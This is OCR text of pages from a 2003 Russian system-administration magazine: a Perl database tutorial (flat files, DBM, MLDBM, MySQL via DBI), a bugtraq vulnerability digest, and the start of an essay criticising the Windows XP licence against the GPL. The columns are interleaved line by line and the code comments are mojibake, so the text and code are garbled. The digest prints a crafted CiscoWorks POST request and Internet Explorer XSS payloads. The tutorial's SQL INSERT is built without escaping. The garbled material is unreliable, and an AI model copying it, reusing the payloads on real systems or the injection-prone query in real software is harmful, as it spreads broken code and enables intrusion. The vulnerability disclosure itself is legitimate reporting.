данных – это просто файлы определенной структуры, а $$h{$name}=$vals;
}
сложные – это файлы, имеющие свой формат данных и, }
естественно, определенную структуру. В данной статье я close(DB);
# çàïèñûâàåì â ãëîáàëüíûé õåø àññîöèàöèþ ññûëêè íà õåø
рассмотрю работу с базами данных на языке программи- # ñ îòêðûòûì ôàéëîì
рования Perl. Для удобства пойдем от маленького к боль- $g{$h}=$file;
}
шому. Для начала давайте рассмотрим обычный файл как
базу данных, т.е. обычный файл можно представить как sub ñlosedb{
my($h)=@_;
определенно сформатированый текст. Файл будет отфор- my($key,$val,$fn);
матирован следующим образом: # ïî èìåíè õåøà ïîëó÷àåì èìÿ ôàéëà
$fn = $g{$h};
local(*DB);
Name1|Value1#Value2#Value3#...#ValueN # âûõîäèì èç ôóíêöèè, åñëè ôàéëà íå ñóùåñòâóåò
Name2|Value1#Value2#Value3#...#ValueN return if !(-e $fn);
Name3|Value1#Value2#Value3#...#ValueN open(DB,">$fn") or return 0;
... # çàìûêàåì ôàéë
NameN|Value1#Value2#Value3#...#ValueN # (ìîíîïîëüíàÿ áëîêèðîâêà – äëÿ çàïèñè)
flock(DB,2);
Почему разделителями я выбрал именно «|» и «#»? while(($key,$val) = each %$h){
# îáðàòíî ñîçäàåì ôîðìàò, ïåðåâîäÿ íåáåçîïàñíûå
Потому что они не являются безопасными символами (из # ñèìâîëû â ôîðìàò %XX
RFC 2396). По той же причине можно было выбрать раз- print DB uri_escape($key)."|";
if(ref $val){
делителями любой символ, кроме латинских букв, цифр, for(0..$#$val){
и вот этих: $$val[$_]=uri_escape($$val[$_]);
}
print DB join "#",@$val;
";", "/", "?", ":", "@", "&", "=", "+", "$", ",", }else{
"-", "_", ".", "!", "~", "*", "'", "(", ")" $val=uri_escape($val);
print DB $val;
Эти разделители (кроме вышеописанных символов) }
print DB "\n";
могут использоваться в значениях или в именах пере- }
менных, только нужно будет использовать модуль close(DB);
}
URI::Escape, для того чтобы переменные с этими раз- 1;
делителями не испортили структуру. Специально для
работы с нашими базами данных создадим модуль Если вам нужно открывать файл с определенными
simple_db.pm. Итак, начнем: правами, то в функциях opendb() и closedb() нужно про-
сто заменить open на sysopen по следующему формату:
#!/usr/bin/perl sysopen FILEHANDLE, FILENAME, MODE, PERMS; и все.
# ñîçäàåì ïàêåò Использование довольно простое, возьмем какой-нибудь
package simple_db; файл test.pl. В этой же директории должен лежать и мо-
use Exporter; дуль simple_db.pm. Вот test.pl:
# êàê è ãîâîðèëîñü, èñïîëüçóåì ìîäóëü äëÿ ïåðåâîäà íåáåçîïàñíûõ
# ñèìâîëîâ â ôîðìàò %XX #!/usr/bin/perl
use URI::Escape;
@ISA=("Exporter"); use simple_db;
@EXPORT=qw(&opendb &closedb %g); # îòêðûâàåì ôàéë test.db è àññîöèèðóåì ñ íèì õåø %h,
# ýêñïîðòèðóåì èñïîëüçóåìûå ôóíêöèè, à òàêæå õåø %g, äëÿ òîãî
# ÷òîáû ôóíêöèÿ çíàëà, â êàêîé ôàéë çàïèñûâàòü èçìåíåíèÿ # èíà÷å óìèðàåì
opendb(\%h,"test.db") or die $!;
# õåøà, ââîäèìîãî â àðãóìåíòàõ # äîáàâëÿåì çíà÷åíèÿ â õåø
sub opendb{ $h{'supa|var'}=["special#","tes#t"];
# òàêæå ëåãêî ìîæíî äîáàâèòü ìàññèâ
my($h,$file)=@_; @tmp = ("array","tester");
my($name,$vals,@values);
local(*DB); # äîáàâèëè ...
$h{'arr'}=\@tmp;
open(DB,$file) or return 0; # èëè äîáàâëÿåì ìàññèâ òàê
# áëîêèðóåì ôàéë íà òîò ñëó÷àé, åñëè âî âðåìÿ ÷òåíèÿ
# êòî-òî çàõî÷åò èçìåíèòü ôàéë (ñîâìåñòíàÿ áëîêèðîâêà – $h{'arr2'}=["some","vars"];
closedb(\%h) or die $!;
# äëÿ ÷òåíèÿ)
flock(DB,1);
while(<DB>){
chomp; Данным образом будет создан файл test.db в текущей
($name,$vals)=split(/\|/,$_,2); директории. С переменной «supa|var» и значениями
next if !$name;
$name = uri_unescape($name); «speacial#» и «tes#t», и т. д. Я специально использовал
@values = split(/#/,$vals); небезопасные символы, а со второй и третьей перемен-
# åñëè çíà÷åíèé ìíîãî, ñîçäàåì àíîíèìíûé ìàññèâ,
# èíà÷å ïðîñòî ïðèñâàèâàåì îäíî çíà÷åíèå ной все в порядке – там нет небезопасных символов...
if($#values){ А теперь давайте посмотрим, что записано в файле
for(0..$#values){
# ïåðåâîäèì ñèìâîëû èç %XX-ôîðìàòà test.db:
# â íîðìàëüíûé âèä
$values[$_]=uri_unescape ↵ supa%7Cvar|special%23#tes%23t
($values[$_]); arr|array#tester
}
arr2|some#vars

№9(10), сентябрь 2003 75


программирование
Т.е. эти символы не помешали нашей структуре фай- # óäàëÿåì êàêîé-íèáóäü êëþ÷ èç áàçû
delete $HASH{SOME_KEY};
ла, они всего лишь были переведены в %XX-формат. А dbmclose(%HASH);
теперь просмотрим всю базу:
Также в начале программы можно добавить: use
#!/usr/bin/perl NDBM_File; или use SDBM_File; или use GDBM_File; или
use simple_db; use DB_File; – данные модули просто переопределяют
стандартный вариант, с которым был построен Perl. Есть
opendb(\%h,"test.db") or die $!;
while(($key,$val) = each %h){ также другой способ открытия базы данных – tie и untie.
print $key." = "; Делается это так:
if(ref $val){
# çäåñü, åñëè çíà÷åíèå ïåðåìåííîé ññûëêà íà ìàññèâ
print join " ; ",@$val; #!/usr/bin/perl
}else{
print $val; use DB_File;
} # çäåñü ýòî îáÿçàòåëüíî, ò.ê. â ôóíêöèè tie() ìû çàäàåì ìîäóëü
print "\n"; use Fcntl;
}
closedb(\%h) or die $!; tie(%HASH,"DB_File",$FILENAME,O_RDWR|O_CREAT, 0666) or ↵
die "Can't open $FILENAME: $!\n";
# âñå òå æå ìàíèïóëÿöèè ñ õåøåì, êîòîðûå îïèñûâàëèñü âûøå
При выводе база будет выглядеть так: # ...
# à ïîòîì
untie(%HASH);
supa|var = special# ; tes#t
arr = array ; tester
arr2 = some ; vars Очищаются базы так же, как и в моем примере, т.к. я
свой пример делал по подобию этих баз. Но так же, как и
Очищаем базу, просто очищая хеш, т.е. %h=(), или мой пример, данные базы не могут хранить сложные
можно просто удалить файл следующим образом: структуры. Для этого требуется модуль DB_File и модуль
MLDBM. Модуль MLDBM может хранить в хеше более
unlink "test.db" or die $!; сложные структуры, чем просто числа и скаляры. Если
его у ваc нет, то вы можете его скачать из Интернета:
А при открытии базы открыть файл в режиме созда- запускаете программу ppm из дистрибутива Perl. И пи-
ния, т.е. перед opendb() сделать следующее: шите: «install MLDBM» – все должно пройти успешно. Ис-
пользование вот такое:
# $filename - â äàííîì ñëó÷àå èìÿ íàøåãî ôàéëà
if(!(-e "$filename")){ #!/usr/bin/perl
open(FILE,">$filename") or die $!;
close(FILE);
} use MLDBM 'DB_File';
use Fcntl; # äëÿ O_RDWR, O_CREAT è ò.ä.
Но эта база не может претендовать на большую ско- tie(%h, "MLDBM", "glob.db", O_RDWR|O_CREAT, 0666) or ↵
рость и большие размеры и, как вы уже успели заме- die "Couldn't tie DB_File $users: $!; aborting";
$usr{synthetic}->{password}="matrix reloaded";
тить, в ней не могут быть созданы сложные структуры. $h{users}=\%usr;
Данная база данных вполне подойдет для небольших untie %h;
объемов информации, например, для небольших сайтов
или веб-сервисов. С помощью классов можно создать Таким образом была создана база данных glob.db, в
свою вполне приличную базу данных. А теперь давайте которой есть ключ «users», в котором есть пользователь
расмотрим другие базы данных. Начнем с портирован- «synthetic» с еще одним вложенным хешем, в котором есть
ной в вашу систему базу данных (их может быть несколь- ключ «password» со значением «matrix reloaded». Такая
ко). Функция dbmopen() довольна стара и поэтому по- структура очень удобна и легко запрашиваема. Далее
зволяет использовать лишь ту библиотеку DBM, c кото- посмотрим, как мы проверяем то, что создали:
рой был построен Perl. Но по ходу статьи рассмотрим и
более новые методы. #!/usr/bin/perl
Вот пример с dbmopen(): use MLDBM 'DB_File';
use Fcntl; # äëÿ O_RDWR, O_CREAT è ò. ä.
#!/usr/bin/perl
$access=0;
tie(%h,"MLDBM","glod.db",O_RDWR|O_CREAT,0666) or ↵
use Fcntl; die "Couldn't tie DB_File $users: $!; aborting";
# ñïåöèàëüíî äëÿ òàêèõ ïåðåìåííûõ, êàê O_RDWR, O_CREAT
# O_RDWR - ïðàâà: ÷òåíèå, çàïèñü while(($key,$val) = each %h){
if($key eq "users"){
# O_CREAT - ñîçäàòü ôàéë, åñëè îí íå ñóùåñòâóåò if($val->{synthetic}->{password} eq ↵
dbmopen(%HASH,$FILENAME,O_RDWR|O_CREAT, 0666) or die ↵ "matrix reloaded"){
$access=1;last;
"Cant open $FILENAME: $!\n"; # åñëè âñå ïðàâèëüíî, çàâåðøàåì öèêë
# çàíîñèì äàííûå â áàçó äàííûõ
$HASH{KEY}="VALUE"; }
}
# ïðîâåðÿåì, ñóùåñòâóåò ëè êëþ÷ }
if(exists $HASH{KEY}){
# ÷òî-òî äåëàåì ñ èíôîðìàöèåé, ïîëó÷åííîé èç áàçû äàííûõ untie(%h);
if($access){
$info = $HASH{KEY}; print "Matrix has you...";
}
}else{

76
программирование
print "Follow the white rabbit"; # RaiseError => 1 - ñîîáùàòü îá îøèáêàõ
} $dbh = DBI->connect($conn, $user, $password, ↵
{RaiseError => 1});
С удалением нужно немного по-другому, через вре- # çàäàëè íàçâàíèå òýéáëà - äëÿ äàëüíåéøåãî èñïîëüçîâàíèÿ
$table = "users";
менный хеш: # ñîçäàåì òýéáë "users"
$query = "CREATE TABLE .$table(username char(16) ↵
tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵ not null,pass char(16) not null)";
die "Couldn't tie DB_File $users: $!; aborting"; # ñîçäàëè
%tmp=%h; $dbh->do($query);
delete $tmp{users}->{'somebody'}; # îòñîåäèíèëñü
%h=%tmp; $dbh->disconnect();
untie %h;
Не особо сложными манипуляциями добавляем дан-
Добавлять тоже через временный хеш: ные в тэйбл:

tie(%h,"MLDBM","glob.db",O_RDWR|O_CREAT,0666) or ↵ # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ


die "Couldn't tie DB_File $users: $!; aborting"; $query = sprintf("INSERT INTO .$table (username, pass) ↵
%tmp=%h; VALUES ('%s', '%s')", $login, $pass);
$tmp{users}->{'morpheus'}->{password}='zion'; # âûïîëíèëè...
%h=%tmp; $dbh->do($query);
untie %h; # è ò. ä.

И в моем примере, и в других базах используется ра- Выбираем из базы:


бота с хешами, поэтому давайте рассмотрим несколько
примеров работы с хешами... # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ.
# ñîçäàåì çàïðîñ ê áàçå è âûáèðàåì âñå èç òýéáëà users
 Сортировка ключей хеша по алфавиту: $sth = $dbh->prepare("select * from .users");
# âûïîëíèëè
foreach $key (sort keys %unsorted){ $sth->execute();
$val = $unsorted{$key}; while($row = $sth->fetchrow_arrayref()){
# â äàííîì ñëó÷àå:
# çäåñü ïåðåáîðêà êëþ÷åé õåøà ïî àëôàâèòó # $row->[0] - ëîãèí (username)
# äåëàåì ÷òî-òî c $key è $val
} # $row->[1] - ïàðîëü (pass)
print $row->[0]." ".$row->[1];
}
 Сортировка по ассоциированным значениям: # îáÿçàòåëüíî (!) ãîâîðèì, ÷òî çàâåðøèëè
$sth->finish();
foreach $key (sort {$unsorted{$a} cmp $unsorted{$b} } ↵
keys %unsorted){
$val = $unsoreted{$key}; Удаляем тэйбл, если он существует:
# ÷òî-òî äåëàåì ñ $key è $val...
} # âñÿ ïðåäûäóùàÿ èíèöèàëèçàöèÿ
$query = "DROP TABLE IF EXISTS .$table";
 Сортировка по длине значений (почти также, как и про- # âûïîëíèëè...
сто по значениям): $dbh->do($query);
# è ò.ä.
foreach $key (sort {length($unsorted{$a}) ↵ Вот, собственно, и все, в данной статье я не стал осо-
<=> length($unsorted{$b}) } keys %unsorted){
$val = $unsoreted{$key}; бенно глубоко рассматривать работу с базами SQL, пото-
# ÷òî-òî äåëàåì ñ $key è $val... му как это довольно большая тема и требует отдельной
}
статьи (если не книжки). Удачи в создании систем управ-
Дальше рассмотрим небольшие примеры работы с ления базами данных!
базами данных MySQL, при помощи модуля DBI и драй-
вера для работы с MySQL – DBD::mysql. Эти модули так-
же можно установить через ppm. А теперь посмотрим при-
мер работы с MySQL:

#!/usr/bin/perl

use DBI;
# íàñòðîéêè SQL ñåðâåðà #####################################
$user = "synthetic"; # ëîãèí è
$password = "test"; # ïàðîëü äëÿ äîñòóïà ê ñåðâåðó
$host = "localhost"; # àäðåñ SQL-ñåðâåðà
$db = "site"; # áàçà äàííûõ, ñ êîòîðîé ñîåäèíÿåìñÿ
$port = 3306; # ïîðò (âçÿò ïî óìîë÷àíèþ)
$driver = "mysql"; # ýòî äðàéâåð äëÿ áàçû äàííûõ, ò.å.
# âû ìîæåòå óêàçàòü äðàéâåð ñâîåé
# áàçû è ñïîêîéíî ñîåäèíÿòñÿ ñ íåé
# (åñòåñòâåííî çíàÿ åå ñåìàíòèêó)
##########################################################
# äàííûå - ïðîñòî äëÿ ïðîâåðêè
$login = "Vlad";
$pass = "isitreal";

$conn = "DBI:$driver:database=$db;host=$host;port=$port";

№9(10), сентябрь 2003 77


bugtraq

Удаленное выполнение произвольного


Удаленный доступ к системе кода в Network Associates McAfee ePolicy
в CiscoWorks 2000 Common Management Orchestrator
Foundation Несколько уязвимостей обнаружено в Network Associates
Уязвимость обнаружена в CiscoWorks 2000 Common McAfee ePolicy Orchestrator. Удаленный пользователь мо-
Management Foundation. Удаленный пользователь может жет выполнить произвольный код с System-привилегиями.
получить поднятые привилегии на системе. Удаленный ав- @stake обнаружил три уязвимости, две затрагивают
торизованный пользователь может выполнить произволь- ePolicy Orchestrator (ePO)-сервер и одна ePO-клиент. Обе
ный код на системе. программы по умолчанию установлены с системными
CSCdy33916: В конфигурации по умолчанию включе- привилегиями.
на учетная запись гостя с пустым паролем. Удаленный На версиях 2.x и 3.0 ePO-сервера удаленный пользо-
пользователь может получить доступ к учетной записи ватель может получить доступ к MSDE system administrator
гостя. Используя учетную запись гостя, удаленный пользо- учетной записи, используя следующие шаги: удаленный
ватель может представить специально обработанный пользователь может представить специально обработан-
POST-запрос, чтобы получить привилегии администрато- ный HTTP-запрос к серверу, чтобы получить конфигура-
ра. Например, удаленный пользователь может получить ционный файл сервера, который содержит кодированный
информацию о всех пользователях системы. пароль MSDE администратора (CVE: CAN-2003-0148). Па-
CSCea15281: Cisco сообщает, что удаленный автори- роль зашифрован с секретным ключом, который хранит-
зованный пользователь может представить специально ся в DDL на системе, позволяя удаленному пользователю
обработанный URL, чтобы выполнить команды на систе- дешифровать зашифрованный пароль и получить доступ
ме с привилегиями «casuser» учетной записи. Удаленный к паролю MSDE system administrator. В конфигурации по
пользователь может, например, просмотреть конфигура- умолчанию удаленный пользователь может получить до-
цию устройства, хранящуюся в базе данных в локальном ступ к xp__cmdshell, чтобы выполнить произвольные ко-
архиве. Пример: манды операционной системы с System-привилегиями.
Также сообщается, что версии 2.х ePO-сервера содер-
POST /CSCOnm/servlet/ ↵ жат уязвимость форматной строки в обработке парамет-
com.cisco.nm.cmf.servlet.CsAuthServlet HTTP/1.0
Accept-Language: en ра ComputerList. Удаленный пользователь может предста-
Content-Type: application/x-www-form-urlencoded вить специально обработанный HTTP POST-запрос к сер-
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) веру, чтобы выполнить произвольный код (CVE: CAN-2003-
Host: 10.10.10.1:1741 0616).
Content-Length: 114
Proxy-Connection: Keep-Alive Также сообщается, что удаленный пользователь мо-
Pragma: no-cache жет представить специально обработанный HTTP-запрос
Cookie: jrunsessionid=1057059156201223367
к версии 3.0 ePO-агента, чтобы просматривать произволь-
Уязвимость обнаружена в CiscoWorks 2000 2.1 и бо- ные файлы на системе. (CVE: CAN-2003-0610).
лее ранних версиях. Уязвимость обнаружена в McAfee ePolicy Orchestrator
2.0, 2.5, 2.5.1, and 3.0.
Для устранения уязвимости установите соответству-
Межсайтовый скриптинг ющее обновление, которое можно скачать отсюда: http://
в Microsoft Internet Explorer www.networkassociates.com/us/downloads/updates/
Межсайтовый скриптинг обнаружен в Microsoft Internet hotfixes.asp
Explorer в about:blank странице. Атакующий может выпол-
нить произвольный код сценария в браузере целевого
пользователя. Пример: Доступ к произвольным частям памяти
about:blank%20< script>alert('8-D uhh !');</script> веб-сервера через PHP-функцию DLOpen()
about:blank%20< iframe src="about:blank%20<h1>;- )"></iframe> Уязвимость обнаружена в PHP-функции DLOpen. Атаку-
about:blank%20< h1>XSS is behind you...</h1>
ющий может заставить процесс Apache выполнить про-
Код будет выполнен в контексте локальной зоны бе- извольный код.
зопасности. Используя функцию dlopen() в PHP, атакующий может
Уязвимость обнаружена в Internet Explorer version получить доступ к памяти процесса Apache (или другого
6.0.2600.x (without SP1), Internet Explorer version 5.0.x, используемого веб-сервера). Первый способ записывает
Internet Explorer version 4.x, Internet Explorer version 3.x. дамп процесса в /tmp (работает в Apache 1.x и Apache 2.x),
Internet Explorer version 6.0.2600.x c SP1 неуязвим к об- а второй способ моделирует дефейс (работает на в Apache
наруженной проблеме. 1.x, но из-за обработки кода возврата не работает на
Apache 2.x).
Уязвимость обнаружена в PHP 4.0-4.3.1.

Составил Александр Антипов

78
образование

СКУПОЙ ПЛАТИТ ДВАЖДЫ,


А УМНЫЙ ИСПОЛЬЗУЕТ
GNU PUBLIC LICENSE
Да ну, я микрософт согну и гайки закручу!!!
(Microsoft vs GNU Public License)

Общаясь со многими людьми, я заметил, что многие не знают о тех подводных камнях, которые
заложены в их любимых «окошках», а подчас и не догадываются, что существует альтернатива
выбора и что на серверах используется что-то отличное от их представлений. Этот факт и подвиг
меня написать эту статью для просвещения масс в тех моментах, на которые у них просто
физически не хватает времени. Ведь не секрет, что во время установки почти никто не читает
лицензионных соглашений. Я буду считать статью удавшейся, если вы, читатели, сможете
не только посмеяться над написанным, где-то над собой, но и задуматься.

ПАВЕЛ ЗАКЛЯКОВ
80
образование
За последнее время наблюдается противостояние двух печение лишаeт вас права распространять и вносить из-
сторон: закрытых продуктов Microsoft (и других компаний) менения в это программное обеспечение. Стандартная
и открытых продуктов, распространяемых по лицензии Общественная Лицензия GNU, напротив, разработана с
GNU. Нельзя сказать, чтобы это противостояние было рав- целью гарантировать вам право совместно использовать
ным. Несмотря на всю комичность ситуации, на мой и вносить изменения в свободное программное обеспе-
взгляд, это сражение не стоит на месте и люди постоянно чение, т.е. обеспечить свободный доступ к программно-
выбирают не ту сторону. му обеспечению для всех пользователей».
Связано это с особенностями человеческой психоло- Сопоставлять предложения одно против другого
гии, и выбор отнюдь не основывается на разумности и сложно в силу разности лицензий, поэтому проще вна-
дальновидных взглядах. Скорее ситуацию можно описать чале описать все минусы и плюсы одной лицензии, а
известной фразой «После нас хоть потоп». потом то же самое сделать для другой лицензии. Тем
«Это происходит оттого, что все человеческие дела самым предоставив читателю информацию для выбора
делаются людьми, которые имели и всегда будут иметь и размышления.
одни и те же страсти, и поэтому они неизбежно должны Microsoft: «... лицензионное соглашение ... относитель-
давать одинаковые результаты». [1]. но ... программного продукта ... который включает в себя
Желание «откупиться от проблем» и навязывания нам ... любые печатные материалы, любую «встроенную» или
такого образа жизни Америкой как правильного приво- «электронную» документацию и службы в Интернете».
дит к тому, что люди готовы платить другим фирмам, ко- Мол, всё, что напечатали, всё включается. Чёткой гра-
торые будут решать за них их проблемы. В то время как ни я не вижу, что включать, а что нет, ну да ладно с доку-
фирмы, получающие деньги, увидев эту зависимость, за- ментацией, а как быть со службами в Интернете? Они вы-
хотят получать деньги постоянно, для чего будут выходить ложат у себя на сайте какую-то часть в виде CGI или как-
в свет обновления и различные не очень нужные измене- то ещё, с которой будет взаимодействовать мой продукт,
ния. Они даже попытаются установить монополию на свои а я и в глаза не буду знать, что их продукт делает. Но
продукты, чтобы завоевать максимум пользователей и никого этот пункт в лицензии не пугает.
чтобы их продукты стояли на большинстве компьютеров. Единственный плюс дальше, что если я не согласен, то:
«Стремление к завоеваниям – вещь, конечно, очень Microsoft: «Не устанавливайте и не используйте дан-
естественная и обыкновенная; когда люди делают для это- ный продукт; вы можете вернуть его лицу, у которого вы
го всё, что могут, их всегда будут хвалить, а не осуждать; приобрели продукт, и получить обратно уплаченные вами
но когда у них нет на это сил, а они хотят завоевывать во деньги».
что бы то ни стало, то это уже ошибка, которую надо осу- Про копирование ничего не сказано. Возможно, этот
дить». [1]. момент защищается другими законами и актами.
Сложно сказать, есть ли у Miscrosoft силы на завоева- Однако если я поставил продукт и/или попользовал-
ния всего мира, но, видимо, нет, так как до сих пор встре- ся, то вроде как я уже вернуть его не могу. Так что толку
чаются другие операционные системы и продукты других в этой фразе никакого нет. Ну разве что, если у меня ко-
фирм. Так что моя задача осудить их позицию в этой ста- робочная версия продукта, то я могу посмотреть, что за
тье и призвать людей, читающих и мыслящих, к правиль- макулатуру понапихали мне в неё и отказаться, если меня
ному выбору. Я отнюдь не хочу неаргументированных вос- она не устроила. Даже могу полюбоваться цветом ком-
клицаний вроде «Microsoft suxx», а постараюсь делать вы- пакт-диска.
воды обоснованно, чтобы людям стало смешно и тошно Microsoft: «Запрещается использовать продукт одно-
оттого, что они не замечали всего описанного ниже ра- временно более чем 1 (одним) процессором одной рабо-
нее. чей станции».
Для сравнения позиций я бы хотел взять две лицензии А как мне быть, если я запускаю продукт под эмуля-
и прокомментировать существенные моменты. Первая ли- цией? Что понимать под рабочей станцией? Всё, что
цензия будет GNU Public License в русском переводе, вто- не в корпусах под стойку? Сервер можно и из ноутбука
рая может быть любой из семейства Windows. Я рассмот- сделать.
рел несколько вариантов перевода GNU Public License [3]: Microsoft: «К рабочей станции разрешается подклю-
Гинзбурга В.Р. [2], Тяпкиной Елены [4] и Середы Сергея чать не более 5 (пяти) компьютеров или других электрон-
[5]. Мой выбор пал на перевод Елены Тяпкиной. Со сто- ных устройств (далее «устройство») для использования
роны Microsoft я решил выбрать лицензионное соглаше- служб данного продукта, причем исключительно для дос-
ние Microsoft Windows XP Home Edition. [7]. тупа к файловым службам, службам печати, службам IIS,
Для простоты изложения я буду говорить, что «Microsoft а также к службам удаленного доступа (включая общий
или GNU пишет», подразумевая соответствующие выше доступ к подключению и телефонные службы). Макси-
этим словам лицензии. мальное количество подключений, равное пяти, включа-
Итак, мы с первых строчек лицензий видим кнуты и ет любые косвенные подключения, производимые через
пряники. «мультиплексирующее» или иное программное или аппа-
Microsoft: «Настоящее лицензионное соглашение (да- ратное обеспечение, позволяющее осуществлять коллек-
лее «лицензионное соглашение») является юридическим тивный доступ или поочередные подключения».
соглашением». В общем, хороший веб-сервер я сделать не могу, так
GNU: «Большинство лицензий на программное обес- как не более 5 подключений к IIS. Разве что для тестиро-

№9(10), сентябрь 2003 81


образование
вания вводят возможность установки «урезанного» веб- [14,15,16], то это будет затруднительно в случае его под-
сервера. Файл-сервер для домашней сети тоже нельзя, ключения к сети Интернет, так как вы же не можете про-
вдруг у вас через сетевое окружение 6 соседей будут что- верить службы в Интернете, которые могут меняться по
то скачивать. желанию Microsoft. Но это не самое страшное, дальше ещё
Microsoft: «Обязательная активизация. ... Активиза- интереснее.
ция продукта может быть выполнена через Интернет или Microsoft: «Корпорация Майкрософт оставляет за со-
по телефону (телефонные переговоры оплачиваются бой право прекратить работу любой службы в Интернете,
вами). В случае изменения аппаратного обеспечения ком- предоставленной или доступной вам посредством исполь-
пьютера или продукта может потребоваться повторная ак- зования продукта».
тивизация продукта». Хотите за бесплатно DoS-атаку, с которой вы согласи-
Понимаем это так: обязательно отдаём сведения фир- лись в этом пункте? Вам надо послать почту или сообще-
ме Microsoft, среди которых размеры нашей памяти, про- ние, а вам в ответ: «Мы подумали и решили вам не пере-
изводительность и другие параметры, чтобы та, увидев, давать сообщения». Если начнутся военные действия, то
что если массово аппаратные возможности превосходят где гарантии, что не последуют массовые сбои компью-
программные и продукт не дай Бог работает быстро, мог- теров? «Ирак покупал у французов истребители «Мираж»
ла бы добавить нужные, на её взгляд, для пользователя незадолго до начала «Бури в пустыне». Когда конфликт
функции, чтобы привнести соответствие. Несомненно, что начался, ни один мираж не взлетел [9]». Отказали нави-
собирание различных сведений может рассматриваться гационные приборы, система управления бортовым ору-
как открытая форма шпионажа против стран, в которые жием, а также связное оборудование и обычные элект-
поставляются продукты. ронные АТС, тоже, заметьте, французского производства.
Microsoft: «Лицензия на продукт неделима и не до- В перепечатке из NewScientist [10] под заголовком «Теле-
пускает одновременного её использования на нескольких фон-граната» [11] сообщается, что Майкл Сэйлор с кол-
рабочих станциях». легами из Калифорнийского университета в Сант-Диего
Если у вас компьютер дома, на работе, на даче и на обнаружили взрывчатое свойство кремния, обработанного
второй квартире, у бабушки и у дедушки, у сестры и бра- нитратом гадолиния. Изготовленные из такого материа-
та, то вы купите столько лицензий, в скольких местах вы ла микрочипы-камикадзе способны взрываться под дей-
будете ставить продукт и пользоваться им. Либо носите ствием электрического импульса, нарушая работу исполь-
свой компьютер с собой. Это всё равно что если вашу зующего их оборудования связи, коммуникации, управ-
машину страхуют на стоянке или в гараже одной страхов- ления и т. д. Теперь любая купленная аппаратура может
кой, при поездке на дачу – другой, поездке на работу – оказаться заминированной, причём взрыватель навсег-
третьей, в булочную – четвёртой и т. д., ведь стоянка у да остаётся в руках её производителя. Та же самая ситу-
булочной более опасная, чем закрытый гараж. ация наблюдается и с программными закладками в зак-
Microsoft: «Сохранение прав. Все права, которые не рытом коде ожидающими часа «X». Закладки без проблем
предоставлены явно настоящим лицензионным соглаше- могут быть встроены и найти их в разумное время разум-
нием, сохраняются за корпорацией Майкрософт». ными средствами может не представляться возможным.
Забудьте про свои права. У вас есть только право пла- Microsoft: «Настоящее лицензионное соглашение не
тить деньги и покупать лицензии за сервис как есть и за предоставляет вам никаких прав на использование вклю-
то, что вам ничего не обещают, но об этом ниже. ченных в продукт компонентов пакета средств разработ-
Microsoft: «Обновления. Если программный продукт ки Windows Media Format Software Development Kit».
является обновлением, для его использования вам необ- В общем, если вы надумали что-то там написать и вы
ходимо иметь соответствующую лицензию на продукт, программист, то вам сразу обстригут крылья, отослав ещё
указанный корпорацией Майкрософт как подпадающий к одной лицензии на английском языке. Много ли програм-
под предложение об обновлении. После обновления зап- мистов делают это?
рещается использовать продукт, являющийся основани- Microsoft: «Передача третьим лицам. Первоначальный
ем вашего права на обновление». пользователь продукта имеет право единовременной пе-
Вы хотите использовать два браузера: старый для редачи его другому лицу».
обычного просмотра страниц, так как он меньше и быс- Вася продал свой продукт Пете, а Петя решил его по-
трее грузится, а новый – когда у вас что-то не отобража- дарить Ане. Но, увы, поздравить Аню с днём рождения
ется? У вас так не получится. Определитесь чётко! Либо Пете не удастся без нарушения лицензионного соглаше-
новая версия, либо старая. А то, что в новом продукте ния. Оно, может, и к лучшему, так как Аня поставит себе
вас может что-то не устроить, то у вас есть право не тогда GPL/Linux. Так что в этом пункте есть плюсы.
использовать новый продукт. Microsoft: «Запрет на передачу во временное пользо-
Microsoft: «Дополнительное программное обеспечение вание. Запрещается предоставлять продукт в прокат, в
и службы. Настоящее лицензионное соглашение распро- аренду, во временное пользование и использовать про-
страняется также на предназначенные для продукта об- дукт для оказания третьим лицам сетевых услуг на ком-
новления, добавления, дополнительные компоненты и мерческой основе».
компоненты служб в Интернете». Вы хотите вести сетевой биллинг и брать деньги? Вы
Если вы хотите создать доверенный продукт и защи- хотите поставить компьютер в интернет-кафе? Нет, вы не
тить свой компьютер по какому-то классу безопасности можете этого сделать!

82
образование
Microsoft: «Ограничение на вскрытие технологии и ляется предоставление определенных сведений о компь-
декомпиляцию. Запрещается вскрывать технологию или ютере, аппаратных средствах и программном обеспече-
декомпилировать продукт за исключением случая и толь- нии, необходимых для работы этих средств».
ко в той степени, когда такие действия явно разрешены Хотите печатать конфиденциальные сведения и иг-
применимым законодательством, несмотря на наличие в рать – заведите два компьютера!
лицензионном соглашении данного ограничения». Microsoft: «Используя эти средства, вы тем самым
Если вы не работаете в бывшем ФАПСИ и вас заста- явно разрешаете корпорации Майкрософт или её пол-
вили декомпилировать, то будучи программистом высо- номочному представителю осуществлять доступ и ис-
кого класса, вам обрубают крылья и сообщают, что ваши пользование сведений, необходимых для работы игро-
действия по исследованию кода незаконны. Будьте доб- вых средств и/или средств обновления в Интернете. Кор-
ры купить кота в мешке и не дай Бог вы откроете этот порация Майкрософт вправе использовать эти сведения
мешок и увидите, что там не кот, а дикобраз. Если вы исключительно для совершенствования своих продуктов
открыли какой-то файл и посмотрели его в hiew в режиме или для предоставления вам специальных услуг и тех-
asm, то вы злостный нарушитель! Не дай Бог ещё на ва- нологий».
шем компьютере найдут какой-нибудь sourcer, IDA, SoftIce Для совершенствования работы какой-то игры может
и другие программы, используемые вами, и вы не сможе- понадобиться установка какой-то функции/библиотеки/
те объяснить, что вы ими просматривали свои програм- программы, которая будет присутствовать и может зара-
мы, а не лицензированный продукт. А если вы сетевой ботать уже после того, как игра будет удалена.
администратор по вопросам безопасности в какой-то Microsoft: «Компоненты служб в Интернете. Продукт
фирме, то, увы, у меня к вам вопрос, а как вы получаете содержит компоненты, обеспечивающие использование
зарплату, если вы даже теоретически не сможете дока- и упрощающие доступ к некоторым службам в Интерне-
зать безопасность чёрного ящика в виде продуктов те. Вы признаете и соглашаетесь с тем, что корпорация
Microsoft? Майкрософт имеет право выполнять автоматическую про-
Microsoft: «Расторжение соглашения. Без ущерба для верку версии продукта и/или его компонентов, которыми
каких-либо иных прав корпорация Майкрософт вправе вы пользуетесь, а также имеет право обновлять или ис-
прекратить действие настоящего лицензионного соглаше- правлять продукт путём автоматической загрузки соот-
